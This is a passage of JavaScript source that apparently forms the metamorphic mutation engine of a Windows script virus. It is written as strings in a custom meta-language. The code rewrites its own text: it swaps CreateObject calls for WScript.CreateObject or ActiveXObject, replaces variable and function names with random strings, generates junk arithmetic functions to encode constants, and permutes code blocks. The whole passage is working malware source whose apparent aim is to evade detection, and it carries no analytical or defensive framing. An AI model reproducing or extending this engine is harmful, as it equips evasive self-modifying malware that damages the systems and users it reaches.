  1474.                 MetaLevelLanguage+='__(CSAAA300|CSAAA100,CSAAA200)y#O1°+sVarNames+°#.push(#x1°+CSRName1+°1x#)1O#';
  1475.                 MetaLevelLanguage+='__(CSAAA400|CSAAA300)c+s(°+CSRVString+°,#x1fDeriveVC(#x2°+CSRName1+°2x#,#x3#n50n#3x#)1x#)';
  1476.                 MetaLevelLanguage+='__(CSAAA500|CSAAA400)c+s(°+CSRVString+°,#x1fGiveMeString(#x2#n43n#2x#)1x#)';                                                                            
  1477.             MetaLevelLanguage+='__(CSAA200|)000';
  1478.         MetaLevelLanguage+='__(CSA500|)000';
  1479.         MetaLevelLanguage+='__(CSA600|CSA150,CSA100)if(#x1°+CSRNum3+°1x#!#x2#n18n#2x#?>)008';  
  1480.             MetaLevelLanguage+='__(CSAA100|)var CSTmpCharCode=#x1#""#1x#';
  1481.             MetaLevelLanguage+='__(CSAA200|CSAA100)while(var CSCount3=#x1#n0n#1x#$#x2°+CSCount3+°2x#!#x3#O1°+CSSplitStr+°[#x4°+CSCount2+°4x#]#.length1O#3x#?<@°+CSCount3+°=#x5#x6°+CSCount3+° 6x#+#x7#n1n#7x#5x#)002';
  1482.                 MetaLevelLanguage+='__(CSAA100|)c+s(°+CSTmpCharCode+°,#x1fCreateNumeric(#x2#O1°+CSSplitStr+°[#x3°+CSCount2+°3x#]#.charCodeAt(#x4°+CSCount3+°4x#)1O#2x#)1x#)';
  1483.                 MetaLevelLanguage+='__(CSAA200|CSAA100)c+s(°+CSTmpCharCode+°,#x1fGiveMeString(#x2#n44n#2x#)1x#)';      
  1484.             MetaLevelLanguage+='__(CSAA300|CSAA200)y°+CSTmpCharCode+°=#x1#O1°+CSTmpCharCode+°#.substr(#x2#n0n#2x#,#x3#O2°+CSTmpCharCode+°#.length2O#-#x4#n1n#4x#3x#)1O#1x#';    
  1485.             MetaLevelLanguage+='__(CSAA400|CSAA300)c+s(°+CSRVString+°,#x1#"String.fromCharCode("#1x#)';
  1486.             MetaLevelLanguage+='__(CSAA500|CSAA400)c+s(°+CSRVString+°,#x1°+CSTmpCharCode+°1x#)';
  1487.             MetaLevelLanguage+='__(CSAA600|CSAA500)c+s(°+CSRVString+°,#x1#")+"#1x#)';                                                    
  1488.         MetaLevelLanguage+='__(CSA700|)000';  
  1489.     MetaLevelLanguage+='__(CS0700|CS0600)xreturn(#x1#O1°+CSRVString+°#.substring(#x2#n0n#2x#,#x5#x3#O2°+CSRVString+°#.length2O#3x#-#x4#n1n#4x#5x#)1O#1x#)';
  1490.    
  1491.    
  1492.    
  1493. //MetaLevelLanguage+='__(1700|)function fPreCompilation()084';          // this is no function in the engine code
  1494.    
  1495.     // FullArray defintion
  1496.     MetaLevelLanguage+='__(PC0100|)def FullArray=#x1[]1x#';
  1497.     MetaLevelLanguage+='__(PC0200|PC0100)while(var FillA=#x1#n0n#1x#$#x2°+FillA+°2x#!#x3#n256n#3x#?<@°+FillA+°=#x4#x5°+FillA+°5x# +#x6#n1n#6x#4x#)001';
  1498.         MetaLevelLanguage+='__(PCA100|)xFullArray.push([#x1°+FillA+°1x#])';
  1499.        
  1500.        
  1501.     // $CreateObject$ alternatives  
  1502.     MetaLevelLanguage+='__(PC0300|orgv)while($#x1#O1sMetaLevelLanguage#.indexOf(#x2#x3fGiveMeString(#x6#n36n#6x#)3x#+#x4#"CreateObject"#4x#+#x5fGiveMeString(#x7#n36n#7x#)5x#2x#)1O#1x#!#x1#n-1n#1x#?!=@)004';
  1503.         MetaLevelLanguage+='__(PCA100|)if(#x1fGiveRandomNumber(#x2#n2n#2x#)1x#!0?==)001';
  1504.             MetaLevelLanguage+='__(PCA100|)ysMetaLevelLanguage=#x1#O1sMetaLevelLanguage#.replace(#x2#x3fGiveMeString(#n36n#)3x#+#x4#"CreateObject"#4x#+#x5fGiveMeString(#n36n#)5x#2x#,#x6#x7#"WScript"#7x#+#x8fGiveMeString(#n35n#)8x#+#x9#".CreateObject"#9x#6x#)1O#1x#';
  1505.         MetaLevelLanguage+='__(PCA200|PCA100)001';
  1506.             MetaLevelLanguage+='__(PCB100|)ysMetaLevelLanguage=#x1#O1sMetaLevelLanguage#.replace(#x2#x3fGiveMeString(#x7#n36n#7x#)3x#+#x4#"CreateObject"#4x#+#x5fGiveMeString(#x8#n36n#8x#)5x#2x#,#x6#"new ActiveXObject"#6x#)1O#1x#';
  1507.            
  1508.     // Define random variable names                                                
  1509.     MetaLevelLanguage+='__(PC0400|orgv,PC0200,PC0300)var CopyMetaLevelLanguage1=#x1sMetaLevelLanguage1x#';    
  1510.     MetaLevelLanguage+='__(PC0500|PC0400)y°+CopyMetaLevelLanguage1+°=#x1#O1°+CopyMetaLevelLanguage1+°#.replace(#x2#x3fGiveMeString(#n41n#)3x#+#x4fGiveMeString(#n118n#)4x#+#x5fGiveMeString(#n97n#)5x#+#x6fGiveMeString(#n114n#)6x#2x#,#x7#x8fGiveMeString(#n41n#)+fGiveMeString(#n100n#)8x#+#x9fGiveMeString(#n101n#)+fGiveMeString(#n102n#)9x#7x#)1O#1x#';
  1511.     MetaLevelLanguage+='__(PC0600|PC0400)y°+CopyMetaLevelLanguage1+°=#x1#O1°+CopyMetaLevelLanguage1+°#.replace(#x2#x4fGiveMeString(#n41n#)+fGiveMeString(#n119n#)+fGiveMeString(#n104n#)4x#+#x5fGiveMeString(#n105n#)+fGiveMeString(#n108n#)+fGiveMeString(#n101n#)+fGiveMeString(#n40n#)5x#+#x6fGiveMeString(#n118n#)+fGiveMeString(#n97n#)+fGiveMeString(#n114n#)6x#2x#,#x3#x7fGiveMeString(#n41n#)+fGiveMeString(#n119n#)+fGiveMeString(#n104n#)7x#+#x8fGiveMeString(#n105n#)+fGiveMeString(#n108n#)8x#+#x9fGiveMeString(#n101n#)+fGiveMeString(#n40n#)9x#3x#)1O#1x#';   // also consider while(var VariableName=...)    
  1512.     MetaLevelLanguage+='__(PC0700|PC0400,PC0600)y°+CopyMetaLevelLanguage1+°=#x1#O1°+CopyMetaLevelLanguage1+°#.replace(#x2#x6fGiveMeString(#n41n#)+#x9fGiveMeString(#n119n#)+fGiveMeString(#n104n#)9x#6x#+#x7fGiveMeString(#n105n#)+#x8fGiveMeString(#n108n#)+fGiveMeString(#n101n#)8x#+fGiveMeString(#n40n#)7x#2x#,#x3#x4fGiveMeString(#n41n#)+fGiveMeString(#n100n#)4x#+#x5fGiveMeString(#n101n#)+fGiveMeString(#n102n#)5x#3x#)1O#1x#';    
  1513.     MetaLevelLanguage+='__(PC0800|PC0500,PC0600,PC0700)while($#x1#O1°+CopyMetaLevelLanguage1+°#.indexOf(#x2#x3fGiveMeString(#n41n#)3x#+#x4fGiveMeString(#n100n#)4x#+#x5fGiveMeString(#n101n#)5x#+#x6fGiveMeString(#n102n#)6x#+#x7fGiveMeString(#n32n#)7x#2x#)1O#1x#!#x8#n-1n#8x#?!=@)008';
  1514.         MetaLevelLanguage+='__(PCA100|)y°+CopyMetaLevelLanguage1+°=#x1#O1°+CopyMetaLevelLanguage1+°#.substring(#x2#x4#O2°+CopyMetaLevelLanguage1+°#.indexOf(#x5#x6fGiveMeString(#n41n#)+fGiveMeString(#n100n#)6x#+#x7fGiveMeString(#n101n#)+fGiveMeString(#n102n#)+fGiveMeString(#n32n#)7x#5x#)2O#4x#+#x3#n1n#3x#2x#)1O#1x#';
  1515.         MetaLevelLanguage+='__(PCA200|PCA100)var VariableNameGlobal=#x1#O1°+CopyMetaLevelLanguage1+°#.substring(#x2#n4n#2x#,#x3#O2°+CopyMetaLevelLanguage1+°#.indexOf(#x4#"="#4x#)2O#3x#)1O#1x#';
  1516.         MetaLevelLanguage+='__(PCA300|)var PCRandomVariableName=#x1fGiveRandomString()1x#';
  1517.         MetaLevelLanguage+='__(PCA400|PCA200,PCA300)while($#x1#O1sMetaLevelLanguage#.indexOf(#x2°+VariableNameGlobal+°2x#)1O#1x#!#x3#n-1n#3x#?!=@)001';
  1518.             MetaLevelLanguage+='__(PCAA100|)ysMetaLevelLanguage=#x1#O1sMetaLevelLanguage#.replace(#x2°+VariableNameGlobal+°2x#,#x3°+PCRandomVariableName+°3x#)1O#1x#';
  1519.         MetaLevelLanguage+='__(PCA500|PCA400)y°+CopyMetaLevelLanguage1+°=#x1#O1°+CopyMetaLevelLanguage1+°#.replace(#x2#x4fGiveMeString(#n41n#)4x#+#x5fGiveMeString(#n118n#)5x#+#x6fGiveMeString(#n97n#)+fGiveMeString(#n114n#)6x#2x#,#x3#x7fGiveMeString(#n41n#)+fGiveMeString(#n100n#)7x#+#x8fGiveMeString(#n101n#)+fGiveMeString(#n102n#)8x#3x#)1O#1x#'
  1520.         MetaLevelLanguage+='__(PCA600|PCA400)y°+CopyMetaLevelLanguage1+°=#x1#O1°+CopyMetaLevelLanguage1+°#.replace(#x2#x4fGiveMeString(#n41n#)+fGiveMeString(#n119n#)+fGiveMeString(#n104n#)+fGiveMeString(#n105n#)4x#+#x5fGiveMeString(#n108n#)+fGiveMeString(#n101n#)+fGiveMeString(#n40n#)+fGiveMeString(#n118n#)+fGiveMeString(#n97n#)+fGiveMeString(#n114n#)5x#2x#,#x3#x6fGiveMeString(#n41n#)+fGiveMeString(#n119n#)+fGiveMeString(#n104n#)+fGiveMeString(#n105n#)6x#+#x7fGiveMeString(#n108n#)+fGiveMeString(#n101n#)+fGiveMeString(#n40n#)7x#3x#)1O#1x#';
  1521.         MetaLevelLanguage+='__(PCA700|PCA400,PCA600)y°+CopyMetaLevelLanguage1+°=#x1#O1°+CopyMetaLevelLanguage1+°#.replace(#x2#x6fGiveMeString(#n41n#)+fGiveMeString(#n119n#)+fGiveMeString(#n104n#)+fGiveMeString(#n105n#)6x#+#x7fGiveMeString(#n108n#)+fGiveMeString(#n101n#)+fGiveMeString(#n40n#)7x#2x#,#x3#x4fGiveMeString(#n41n#)+fGiveMeString(#n100n#)4x#+#x5fGiveMeString(#n101n#)+fGiveMeString(#n102n#)5x#3x#)1O#1x#';  
  1522.     MetaLevelLanguage+='__(PC0900|orgv)var CopyMetaLevelLanguage2=#x1sMetaLevelLanguage1x#';
  1523.     MetaLevelLanguage+='__(PC1000|PC0900)while($#x1#O1°+CopyMetaLevelLanguage2+°#.indexOf(#x2#x3#x7fGiveMeString(#n41n#)+fGiveMeString(#n102n#)7x#+#x6fGiveMeString(#n117n#)+fGiveMeString(#n110n#)+fGiveMeString(#n99n#)6x#3x#+#x4fGiveMeString(#n116n#)+#x5fGiveMeString(#n105n#)+fGiveMeString(#n111n#)+fGiveMeString(#n110n#)5x#+fGiveMeString(#n32n#)4x#2x#)1O#1x#!#n-1n#?!=@)014';
  1524.         MetaLevelLanguage+='__(PCA100|)y°+CopyMetaLevelLanguage2+°=#x1#O1°+CopyMetaLevelLanguage2+°#.substring(#x2#O2°+CopyMetaLevelLanguage2+°#.indexOf(#x3#x4fGiveMeString(#n41n#)+fGiveMeString(#n102n#)+fGiveMeString(#n117n#)+fGiveMeString(#n110n#)4x#+#x5fGiveMeString(#n99n#)+fGiveMeString(#n116n#)+fGiveMeString(#n105n#)5x#+#x6fGiveMeString(#n111n#)+fGiveMeString(#n110n#)+fGiveMeString(#n32n#)6x#3x#)2O#+#n1n#2x#)1O#1x#';
  1525.         MetaLevelLanguage+='__(PCA200|PCA100)var PCFunctionName=#x1#O1°+CopyMetaLevelLanguage2+°#.substring(#x2#n9n#2x#,#x3#O2°+CopyMetaLevelLanguage2+°#.indexOf(fGiveMeString(#n40n#))2O#3x#)1O#1x#';
  1526.         MetaLevelLanguage+='__(PCA300|)var PCRandomVariableName=#x1fGiveRandomString()1x#';
  1527.         MetaLevelLanguage+='__(PCA400|PCA200,PCA300)while($#x1#O1sMetaLevelLanguage#.indexOf(#x2°+PCFunctionName+°2x#)1O#1x#!-1?!=@)001';
  1528.             MetaLevelLanguage+='__(PCAA100|)ysMetaLevelLanguage=#x1#O1sMetaLevelLanguage#.replace(#x2°+PCFunctionName+°2x#,#x3°+PCRandomVariableName+°3x#)1O#1x#';
  1529.         MetaLevelLanguage+='__(PCA500|PCA100)var PCFctArguments=#x1#O1°+CopyMetaLevelLanguage2+°#.substring(#x2#O2°+CopyMetaLevelLanguage2+°#.indexOf(fGiveMeString(#n40n#))2O#+#n1n#2x#,#x3#O3°+CopyMetaLevelLanguage2+°#.indexOf(#x4fGiveMeString(#n41n#)4x#)3O#3x#)1O#1x#';
  1530.         MetaLevelLanguage+='__(PCA600|)var SingleFArguments=#x1#""#1x#';
  1531.         MetaLevelLanguage+='__(PCA700|PCA500,PCA600)if(#x1#O1°+PCFctArguments+°#.length1O#1x#!#x2#n0n#2x#?>)001';
  1532.             MetaLevelLanguage+='__(PCAA100|)y°+SingleFArguments+°=#x1#O1°+PCFctArguments+°#.split(#x2fGiveMeString(#x3#n44n#3x#)2x#)1O#1x#';
  1533.         MetaLevelLanguage+='__(PCA800|)000';
  1534.         MetaLevelLanguage+='__(PCA900|PCA700)while(var PCCount1=#n0n#$#x1°+PCCount1+°1x#!#x2#O1°+SingleFArguments+°#.length1O#2x#?<@°+PCCount1+°=#x3#x4°+PCCount1+°4x# +#x5#n1n#5x#3x#)003';
  1535.             MetaLevelLanguage+='__(PCAA100|)var RandomVariableNameArgs=#x1fGiveRandomString()1x#';
  1536.             MetaLevelLanguage+='__(PCAA200|PCAA100)while($#x1#O1sMetaLevelLanguage#.indexOf(#x2°+SingleFArguments+°[#x3°+PCCount1+°3x#]2x#)1O#1x#!-1?!=@)001';
  1537.                 MetaLevelLanguage+='__(PCAAA100|)ysMetaLevelLanguage=#x1#O1sMetaLevelLanguage#.replace(#x2°+SingleFArguments+°[#x3°+PCCount1+°3x#]2x#,#x4°+RandomVariableNameArgs+°4x#)1O#1x#';
  1538.    
  1539.     // Function Creation
  1540.     MetaLevelLanguage+='__(PC1100|PC0200,VDef004,VDef005,VDef006)while(var PCNumberOfFunctionCreation=#n0n#$#x1°+PCNumberOfFunctionCreation+°1x#!#x2#n35n#2x#?<@°+PCNumberOfFunctionCreation+°=#x3#x4°+PCNumberOfFunctionCreation+°4x# +#x5#n1n#5x#3x#)046';    
  1541.         MetaLevelLanguage+='__(PCA100|)var PCFgramm=#x1#"(SOS)O(SOS)"#1x#';
  1542.         MetaLevelLanguage+='__(PCA200|PCA100)while($#x1#O1°+PCFgramm+°#.indexOf(#x2#"S"#2x#)1O#1x#!#x3#n-1n#3x#?!=@)004';
  1543.             MetaLevelLanguage+='__(PCAA100|)if(#x1fGiveRandomNumber(#x2#n4n#2x#)1x#!#x3#n0n#3x#?==)001';
  1544.                 MetaLevelLanguage+='__(PCAAA100|)y°+PCFgramm+°=#x1#O1°+PCFgramm+°#.replace(#x2#"S"#2x#,#x3#"(SOS)"#3x#)1O#1x#';
  1545.             MetaLevelLanguage+='__(PCAA200|)001';
  1546.                 MetaLevelLanguage+='__(PCAAA100|)y°+PCFgramm+°=#x1#O1°+PCFgramm+°#.replace(#x2#"S"#2x#,#x3#"X"#3x#)1O#1x#';                                            
  1547.         MetaLevelLanguage+='__(PCA300|PCA200)while($#x1#O1°+PCFgramm+°#.indexOf(#x2#"O"#2x#)1O#1x#!#x3#n-1n#3x#?!=@)002';
  1548.             MetaLevelLanguage+='__(PCAA100|)var PCOperatorArray=#x1[#x2#"+"#2x#,#x3#"+"#3x#,#x4#"-"#4x#,#x5#"-"#5x#,#x6#"*"#6x#,#x7#"%"#7x#]1x#';
  1549.             MetaLevelLanguage+='__(PCAA200|PCAA100)y°+PCFgramm+°=#x1#O1°+PCFgramm+°#.replace(#x2#"O"#2x#,#x3°+PCOperatorArray+°[#x4fGiveRandomNumber(#n6n#)4x#]3x#)1O#1x#';
  1550.         MetaLevelLanguage+='__(PCA400|)var PCFunctionArguments=#x1[]1x#';
  1551.         MetaLevelLanguage+='__(PCA500|)var PCFunctionArgLength=#x1#x2fGiveRandomNumber(#n4n#)2x#+#x3#n2n#3x#1x#';
  1552.         MetaLevelLanguage+='__(PCA600|PCA200,PCA400,PCA500)while(var PCCountRSc1=#x1#n0n#1x#$#x2°+PCCountRSc1+°2x#!#x3°+PCFunctionArgLength+°3x#?!=@°+PCCountRSc1+°=#x4°+PCCountRSc1+° +#n1n#4x#)001';
  1553.             MetaLevelLanguage+='__(PCAA100|)y#O1°+PCFunctionArguments+°#.push(#x2fGiveRandomString()2x#)1O#';
  1554.         MetaLevelLanguage+='__(PCA700|PCA600)while($#x1#O1°+PCFgramm+°#.indexOf(#x2#"X"#2x#)1O#1x#!#x3#n-1n#3x#?!=@)004';
  1555.             MetaLevelLanguage+='__(PCAA100|)if(#x1fGiveRandomNumber(#x3#n2n#3x#)1x#!#x2#n0n#2x#?==)001';
  1556.                 MetaLevelLanguage+='__(PCAAA100|)y°+PCFgramm+°=#x1#O1°+PCFgramm+°#.replace(#x2#"X"#2x#,#x3°+PCFunctionArguments+°[#x4fGiveRandomNumber(#x5#O2°+PCFunctionArguments+°#.length2O#5x#)4x#]3x#)1O#1x#';
  1557.             MetaLevelLanguage+='__(PCAA200|)001';
  1558.                 MetaLevelLanguage+='__(PCAAA100|)y°+PCFgramm+°=#x1#O1°+PCFgramm+°#.replace(#x2#"X"#2x#,#x3fGiveRandomNumber(#x4#n256n#4x#)3x#)1O#1x#';  
  1559.         MetaLevelLanguage+='__(PCA750|PCA600)var PCVarCount1=#x1#O1°+PCFunctionArguments+°#.length1O#1x#';
  1560.         MetaLevelLanguage+='__(PCA800|PCA700,PCA750)while($#x1°+PCVarCount1+°1x#!#x2#n0n#2x#?>@°+PCVarCount1+°=#x3#x4°+PCVarCount1+°4x# -#x5#n1n#5x#3x#)003';
  1561.             MetaLevelLanguage+='__(PCAA100|)if(#x1#O1°+PCFgramm+°#.indexOf(#x2°+PCFunctionArguments+°[#x3°+PCVarCount1+°3x#]2x#)1O#1x#!#x4#n-1n#4x#?==)001';
  1562.                 MetaLevelLanguage+='__(PCAAA100|)y#O1°+PCFunctionArguments+°#.splice(#x1°+PCVarCount1+°1x#,#x2#n1n#2x#)1O#';            
  1563.             MetaLevelLanguage+='__(PCAA200|)000';
  1564.         MetaLevelLanguage+='__(PCA900|PCA300,PCA800)if(#x1#O1°+PCFunctionArguments+°#.length1O#1x#!#x2#n0n#2x#?>)021';
  1565.             MetaLevelLanguage+='__(PCAA100|)var PCFname=#x1fGiveRandomString()1x#';
  1566.             MetaLevelLanguage+='__(PCAA200|PCAA100)var PCGgramm=#x1#x2#"function "#2x#+#x3 °+PCFname+° 3x#+#x4#"("#4x#+#x5 #O1°+PCFunctionArguments+°#.join()1O#5x#+#x6#"){return("#6x#+#x7 °+PCFgramm+° 7x#+#x8#");}"#8x#1x#';            
  1567.             MetaLevelLanguage+='__(PCAA300|PCAA200)yeval(#x1°+PCGgramm+°1x#)';
  1568.             MetaLevelLanguage+='__(PCAA400|)var PCIsItAUsefulFunction=#x1#n0n#1x#';
  1569.             MetaLevelLanguage+='__(PCAA500|PCAA300,PCAA400)while(var PCEvalFctC=#x1#n0n#1x#$#x2°+PCEvalFctC+°2x#!#x3#n100n#3x#?<@°+PCEvalFctC+°=#x4°+PCEvalFctC+°4x# +#x5#n1n#5x#)011';            
  1570.                 MetaLevelLanguage+='__(PCAAA100|)var PCFFilledArguments=#x1[]1x#';            
  1571.                 MetaLevelLanguage+='__(PCAAA200|PCAAA100)while(var PCFFc=#x1#n0n#1x#$#x2°+PCFFc+°2x#!#x3#O1°+PCFunctionArguments+°#.length1O#3x#?<@°+PCFFc+°=#x4#x5°+PCFFc+°5x# +#n1n#4x#)001';
  1572.                     MetaLevelLanguage+='__(PCAAAA100|)y#O1°+PCFFilledArguments+°#.push(#x1fGiveRandomNumber(#x2#n256n#2x#)1x#)1O#';                                                
  1573.                 MetaLevelLanguage+='__(PCAAA300|PCAAA200)var PCFCall=#x1#x2°+PCFname+° 2x#+#x3#"("#3x#+ #x4#O1°+PCFFilledArguments+°#.join()1O#4x#+#x5#")"#5x#1x#';  
  1574.                 MetaLevelLanguage+='__(PCAAA400|PCAAA300)var PCFResult=#x1eval(#x2°+PCFCall+°2x#)1x#';      
  1575.                 MetaLevelLanguage+='__(PCAAA500|PCAAA400)if(#x1°+PCFResult+°1x#!#x2#n0n#2x#?>=)004';            
  1576.                     MetaLevelLanguage+='__(PCAAAA100|)if(°+PCFResult+°!256?<)002';
  1577.                         MetaLevelLanguage+='__(PCAAAAA100|)y°+PCIsItAUsefulFunction+°=#x1#n1n#1x#';
  1578.                         MetaLevelLanguage+='__(PCAAAAA200|)y#O1°+FullArray+°[#x1°+PCFResult+°1x#]#.push(#x2°+PCFCall+°2x#)1O#';                                          
  1579.                     MetaLevelLanguage+='__(PCAAAA200|)000';
  1580.                 MetaLevelLanguage+='__(PCAAA600|)000';                        
  1581.             MetaLevelLanguage+='__(PCAA600|PCAA500)if(#x1°+PCIsItAUsefulFunction+°1x#!#x2#n1n#2x#?==)003';
  1582.                 MetaLevelLanguage+='__(PCAAA100|)y#O1°+sFunctionDefs+°.push(#x1#x2#"return "#2x#+#x3 °+PCFgramm+°3x#1x#)1O#';            
  1583.                 MetaLevelLanguage+='__(PCAAA200|)y#O1°+sFunctionArgs+°.push(#x1#"("#+#x2 #O2°+PCFunctionArguments+°#.join()2O#2x#+#x3")"3x#1x#)1O#';              
  1584.                 MetaLevelLanguage+='__(PCAAA300|)y#O1°+sFunctionNames+°.push(#x1°+PCFname+°1x#)1O#';            
  1585.             MetaLevelLanguage+='__(PCAA700|)000';
  1586.         MetaLevelLanguage+='__(PCB900|)000';      
  1587.                                
  1588.                                
  1589.                                
  1590. MetaLevelLanguage+='__(1700|)function fPermutator(argPermutatorMLL)042';
  1591.     MetaLevelLanguage+='__(PM0100|)var PMInfoCodeArray=#x1[]1x#';
  1592.     MetaLevelLanguage+='__(PM0200|)var PMPermIdentifier=#x1[]1x#';
  1593.     MetaLevelLanguage+='__(PM0300|)var PMRequiredCodes=#x1[]1x#';
  1594.     MetaLevelLanguage+='__(PM0400|)var PMMLLcount=#x1#n0n#1x#';
  1595.     MetaLevelLanguage+='__(PM0500|PM0100,PM0200,PM0300,PM0400)while(var MLLPermC1=#x1#n0n#1x#$#x2°+PMMLLcount+°2x#!#x3#O1°+argPermutatorMLL+°#.length1O#3x#?<@°+MLLPermC1+°=#x4#x5°+MLLPermC1+°5x# +#x6#n1n#6x#4x#)026';
  1596.         MetaLevelLanguage+='__(PMA0100|)y°+PMPermIdentifier+°[#x7°+MLLPermC1+°7x#]=#x1#O1°+argPermutatorMLL+°[#x2°+PMMLLcount+°2x#]#.substring(#x3#O2°+argPermutatorMLL+°[°+PMMLLcount+°]#.indexOf("(")2O#+#x4#n1n#4x#3x#,#x5#O3°+argPermutatorMLL+°[#x6°+PMMLLcount+°6x#]#.indexOf("|")3O#5x#)1O#1x#';  
  1597.         MetaLevelLanguage+='__(PMA0200|)y°+PMRequiredCodes+°[#x6°+MLLPermC1+°6x#]=#x1#O1°+argPermutatorMLL+°[#x2°+PMMLLcount+°2x#]#.substring(#x3#O2°+argPermutatorMLL+°[#x4°+PMMLLcount+°4x#]#.indexOf(#x5#"|"#5x#)2O#+#n1n#3x#,#x8#O3°+argPermutatorMLL+°[#x9°+PMMLLcount+°9x#]#.indexOf(#x7#")"#7x#)3O#8x#)1O#1x#';
  1598.         MetaLevelLanguage+='__(PMA0300|)y°+PMInfoCodeArray+°[#x1°+MLLPermC1+°1x#]=#x2[]2x#';
  1599.         MetaLevelLanguage+='__(PMA0400|PMA0300)y°+PMInfoCodeArray+°[#x1°+MLLPermC1+°1x#][#x2#n0n#2x#]=#x3#O1°+argPermutatorMLL+°[#x4°+PMMLLcount+°4x#]#.substring(#x5#O2°+argPermutatorMLL+°[#x8°+PMMLLcount+°8x#]#.indexOf(#x7#")"#7x#)2O#+#x6#n1n#6x#5x#)1O#3x#';
  1600.         MetaLevelLanguage+='__(PMA0500|PMA0100,PMA0200,PMA0400)if(#x1#O1°+PMInfoCodeArray+°[#x2°+MLLPermC1+°2x#][#x3#n0n#3x#]#.substring(#x4#n0n#4x#,#x5#n2n#5x#)1O#1x#!#x6#"if"#6x#?==)009';
  1601.             MetaLevelLanguage+='__(PMAA100|)var PMNumberOfLinesIf=#x1parseInt(#x2#O1°+argPermutatorMLL+°[#x4°+PMMLLcount+°4x#]#.substring(#x9#x5#O2°+argPermutatorMLL+°[#x6°+PMMLLcount+°6x#]#.lastIndexOf(#x7#")"#7x#)2O#5x#+#x8#n1n#8x#9x#)1O#2x#,#x3#n10n#3x#)1x#';
  1602.             MetaLevelLanguage+='__(PMAA200|PMAA100)y°+PMInfoCodeArray+°[#x1°+MLLPermC1+°1x#]=#x2#O1°+PMInfoCodeArray+°[#x3°+MLLPermC1+°3x#]#.concat(#x4fPermutator(#x5#O2°+argPermutatorMLL+°#.slice(#x6#x7°+PMMLLcount+°7x# +#n1n#6x#,#x8#x9°+PMMLLcount+° + °+PMNumberOfLinesIf+°9x# +#n1n#8x#)2O#5x#)4x#)1O#2x#';
  1603.             MetaLevelLanguage+='__(PMAA300|PMAA200)y°+PMMLLcount+°=#x1#x2#x3°+PMMLLcount+°3x# + #x5°+PMNumberOfLinesIf+°5x#2x# +#x4#n1n#4x#1x#';     // pointer to else-line (which contains the number of elements contained in else)
  1604.             MetaLevelLanguage+='__(PMAA400|PMAA300)var PMNumberOfLinesElse=#x1parseInt(#x2#O1°+argPermutatorMLL+°[#x4°+PMMLLcount+°4x#]#.substring(#x5#O2°+argPermutatorMLL+°[#x7°+PMMLLcount+°7x#]#.lastIndexOf(#x8#")"#8x#)2O#+#x6#n1n#6x#5x#)1O#2x#,#x3#n10n#3x#)1x#';          
  1605.             MetaLevelLanguage+='__(PMAA500|PMAA300)y°+PMInfoCodeArray+°[#x1°+MLLPermC1+°1x#]=#x2#O1°+PMInfoCodeArray+°[#x3°+MLLPermC1+°3x#]#.concat(#x4#O2°+argPermutatorMLL+°[#x5°+PMMLLcount+°5x#]#.substring(#x8#O3°+argPermutatorMLL+°[#x6°+PMMLLcount+°6x#]#.lastIndexOf(#x7#")"#7x#)3O#+#n1n#8x#)2O#4x#)1O#2x#';// add the else-number part
  1606.             MetaLevelLanguage+='__(PMAA600|PMAA400,PMAA500)if(#x1°+PMNumberOfLinesElse+°1x#!#x2#n0n#2x#?>)001';                // if there are lines in the else-part, add them
  1607.                 MetaLevelLanguage+='__(PMB100|)y°+PMInfoCodeArray+°[#x1°+MLLPermC1+°1x#]=#x2#O1°+PMInfoCodeArray+°[#x3°+MLLPermC1+°3x#]#.concat(#x4#O2fPermutator(#x5#O3°+argPermutatorMLL+°#.slice(#x6#x7°+PMMLLcount+° 7x#+#n1n#6x#,#x8°+PMMLLcount+° +#x9 °+PMNumberOfLinesElse+° 9x#+#n1n#8x#)3O#5x#)2O#4x#)1O#2x#';
  1608.             MetaLevelLanguage+='__(PMAA700|)000';
  1609.             MetaLevelLanguage+='__(PMAA800|PMAA600)y°+PMMLLcount+°=#x1#x2°+PMMLLcount+° 2x#+#x3 °+PMNumberOfLinesElse+°3x#1x#';
  1610.         MetaLevelLanguage+='__(PMA0600|)000';            
  1611.         MetaLevelLanguage+='__(PMA0700|PMA0100,PMA0200,PMA0400)if(#x1#O1°+PMInfoCodeArray+°[#x2°+MLLPermC1+°2x#][#x3#n0n#3x#]#.substring(#x4#n0n#4x#,#x5#n5n#5x#)1O#1x#!#x6#"while"#6x#?==)003';
  1612.             MetaLevelLanguage+='__(PMB100|)var PMNumberOfLinesWhile=#x1parseInt(#x2#O1°+argPermutatorMLL+°[#x4°+PMMLLcount+°4x#]#.substring(#x5#x6#O2°+argPermutatorMLL+°[#x7°+PMMLLcount+°7x#]#.lastIndexOf(#x8#")"#8x#)2O#6x#+#n1n#5x#)1O#2x#,#x3#n10n#3x#)1x#';  // OK
  1613.             MetaLevelLanguage+='__(PMB200|PMB100)y°+PMInfoCodeArray+°[#x1°+MLLPermC1+°1x#]=#x2#O1°+PMInfoCodeArray+°[#x3°+MLLPermC1+°3x#]#.concat(#x4fPermutator(#x5#O2°+argPermutatorMLL+°#.slice(#x6°+PMMLLcount+° +#n1n#6x#,#x7#x8°+PMMLLcount+°8x# +#x9 °+PMNumberOfLinesWhile+° 9x#+#n1n#7x#)2O#5x#)4x#)1O#2x#';
  1614.             MetaLevelLanguage+='__(PMB300|PMB200)y°+PMMLLcount+°=#x1#x2°+PMMLLcount+° 2x#+#x3 °+PMNumberOfLinesWhile+°3x#1x#';
  1615.         MetaLevelLanguage+='__(PMA0800|)000';
  1616.         MetaLevelLanguage+='__(PMA0900|PMA0100,PMA0200,PMA0400)if(#x1#O1°+PMInfoCodeArray+°[#x2°+MLLPermC1+°2x#][#x3#n0n#3x#]#.substring(#x4#n0n#4x#,#x5#n9n#5x#)1O#1x#!#x6#"function "#6x#?==)003';  
  1617.             MetaLevelLanguage+='__(PMB100|)var PMNumberOfLinesFunction=#x1parseInt(#x2#O1°+argPermutatorMLL+°[#x4°+PMMLLcount+°4x#]#.substring(#x5#O2°+argPermutatorMLL+°[#x7°+PMMLLcount+°7x#]#.lastIndexOf(#x6#")"#6x#)2O#+#n1n#5x#)1O#2x#,#x3#n10n#3x#)1x#';
  1618.             MetaLevelLanguage+='__(PMB200|PMB100)y°+PMInfoCodeArray+°[#x1°+MLLPermC1+°1x#]=#x2#O1°+PMInfoCodeArray+°[#x3°+MLLPermC1+°3x#]#.concat(#x4fPermutator(#x5#O2°+argPermutatorMLL+°#.slice(#x6°+PMMLLcount+° +#n1n#6x#,#x7#x8°+PMMLLcount+° 8x#+#x9 °+PMNumberOfLinesFunction+° 9x#+#n1n#7x#)2O#5x#)4x#)1O#2x#';
